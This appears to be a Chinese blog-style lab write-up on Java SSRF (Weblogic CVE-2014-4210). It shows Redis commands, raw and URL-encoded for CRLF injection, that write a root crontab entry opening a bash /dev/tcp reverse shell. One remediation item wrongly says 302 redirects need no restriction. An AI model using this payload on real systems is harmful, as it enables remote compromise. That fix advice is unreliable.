1、环境搭建

显示错误:Service 'redis' failed to build: The command '/bin/sh -c set -ex && yum -y update && yum -y install gcc-c++ tcl wget' returned a non-zero code:
服务“redis”生成失败:
未安装redis服务器导致,
这里执行docker-compose up --build //building redis
编写脚本扫描内网开放端口的主机

通过ssrf 探测到内网中redis服务器 ‘172.19.0.2:6379’正常访问
构造脚本写入 目录‘/etc/crontab‘
```
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
```
进行url编码:
```
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```
反弹shell

2. 利用方式
网络请求支持的协议如下
http,https,file,ftp,mailto,jar,netdoc
对比php的ssrf,java这块利用相对局限,
3. 总结
以下几种类引用不当会造成SSRF
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,
修复方案:
• 限制协议为HTTP、HTTPS
• 不用限制302重定向
• 设置URL白名单或者限制内网IP
参考链接:
对于Weblogic SSRF漏洞(CVE-2014-4210)
1841

被折叠的 条评论
为什么被折叠?



